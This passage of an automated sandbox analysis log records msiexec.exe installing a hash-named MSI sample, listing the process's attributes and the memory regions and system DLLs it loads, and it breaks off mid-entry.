# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 05.08.2022 17:46:02.533 Process: id = "1" image_name = "msiexec.exe" filename = "c:\\windows\\system32\\msiexec.exe" page_root = "0x46e36000" os_pid = "0xf08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x77c" cmd_line = "\"C:\\Windows\\System32\\msiexec.exe\" /i \"C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 114 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 115 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 116 start_va = 0x40000 end_va = 0x41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 117 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 118 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 119 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 120 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 121 start_va = 0xffbe0000 end_va = 0xffc03fff monitored = 1 entry_point = 0xffbf70c0 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\System32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe") Region: id = 122 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 123 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 124 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 125 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 265 start_va = 0x210000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 266 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 267 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 268 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 269 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 270 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 271 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 272 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 273 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 274 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 275 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 276 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 277 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 278 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 279 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 280 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 281 start_va = 0x7fef7830000 end_va = 0x7fef7b45fff monitored = 0 entry_point = 0x7fef7833e98 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 282 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 283 start_va = 0x380000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 284 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 285 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 286 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 287 start_va = 0x570000 end_va = 0x6f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 288 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 289 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 290 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 291 start_va = 0x700000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 292 start_va = 0x890000 end_va = 0x1c8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 293 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msiexec.exe.mui" filename = "\\Windows\\System32\\en-US\\msiexec.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\msiexec.exe.mui") Region: id = 294 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 295 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 296 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 297 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 298 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 299 start_va = 0x1c90000 end_va = 0x1f5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 300 start_va = 0x1f60000 end_va = 0x2f5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f60000" filename = "" Region: id = 301 start_va = 0x2f60000 end_va = 0x333ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" filename = "\\Users\\kEecfMwgj\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi") Region: id = 302 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 303 start_va = 0x100000 end_va = 0x144fff monitored = 0 entry_point = 0x101064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 304 start_va = 0x100000 end_va = 0x144fff monitored = 0 entry_point = 0x101064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 305 start_va = 0x100000 end_va = 0x144fff monitored = 0 entry_point = 0x101064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 306 start_va = 0x100000 end_va = 0x144fff monitored = 0 entry_point = 0x101064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 307 start_va = 0x100000 end_va = 0x144fff monitored = 0 entry_point = 0x101064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 308 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 309 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 310 start_va = 0x3340000 end_va = 0x343ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 311 start_va = 0x3440000 end_va = 0x443ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003440000" filename = "" Region: id = 312 start_va = 0x2f60000 end_va = 0x333ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" filename = "\\Users\\kEecfMwgj\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi") Region: id = 313 start_va = 0x74a20000 end_va = 0x74a26fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 314 start_va = 0x100000 end_va = 0x113fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 315 start_va = 0x2f60000 end_va = 0x309ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 316 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 317 start_va = 0x30a0000 end_va = 0x326ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 318 start_va = 0x480000 end_va = 0x55efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 319 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 320 start_va = 0x2f60000 end_va = 0x2fdcfff monitored = 0 entry_point = 0x2f6cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 321 start_va = 0x3020000 end_va = 0x309ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 322 start_va = 0x2f60000 end_va = 0x2fdcfff monitored = 0 entry_point = 0x2f6cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 323 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 324 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 325 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 326 start_va = 0x3440000 end_va = 0x3d6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 327 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 328 start_va = 0x30d0000 end_va = 0x314ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030d0000" filename = "" Region: id = 329 start_va = 0x31f0000 end_va = 0x326ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 330 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 331 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 332 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 333 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 334 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 335 start_va = 0x2fa0000 end_va = 0x301ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 336 start_va = 0x3e60000 end_va = 0x3edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 337 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 338 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 339 start_va = 0x3ee0000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 340 start_va = 0x4ee0000 end_va = 0x52bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" filename = "\\Users\\kEecfMwgj\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi") Region: id = 341 start_va = 0x3ee0000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 342 start_va = 0x4ee0000 end_va = 0x52bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" filename = "\\Users\\kEecfMwgj\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi") Region: id = 343 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 344 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 345 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 346 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 347 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 348 start_va = 0x3f10000 end_va = 0x3f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 349 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 350 start_va = 0x3150000 end_va = 0x31cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 351 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 410 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 411 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 412 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 413 start_va = 0x150000 end_va = 0x155fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sxs.dll.mui" filename = "\\Windows\\System32\\en-US\\sxs.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sxs.dll.mui") Region: id = 414 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 415 start_va = 0x150000 end_va = 0x155fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sxs.dll.mui" filename = "\\Windows\\System32\\en-US\\sxs.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sxs.dll.mui") Region: id = 416 start_va = 0x3270000 end_va = 0x32fefff monitored = 0 entry_point = 0x3271440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 417 start_va = 0x150000 end_va = 0x155fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sxs.dll.mui" filename = "\\Windows\\System32\\en-US\\sxs.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sxs.dll.mui") Region: id = 418 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 419 start_va = 0x3d70000 end_va = 0x3e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d70000" filename = "" Region: id = 420 start_va = 0x3f90000 end_va = 0x408ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 421 start_va = 0x3270000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 422 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 423 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 424 start_va = 0x7fef0ba0000 end_va = 0x7fef1666fff monitored = 1 entry_point = 0x7fef0ba63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 425 start_va = 0x7fef00d0000 end_va = 0x7fef0b96fff monitored = 1 entry_point = 0x7fef00d63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 426 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 427 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 428 start_va = 0x150000 end_va = 0x16afff monitored = 1 entry_point = 0x1522e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 429 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 430 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 431 start_va = 0x7fef0ba0000 end_va = 0x7fef1666fff monitored = 1 entry_point = 0x7fef0ba63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 432 start_va = 0x7fef00d0000 end_va = 0x7fef0b96fff monitored = 1 entry_point = 0x7fef00d63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 433 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff 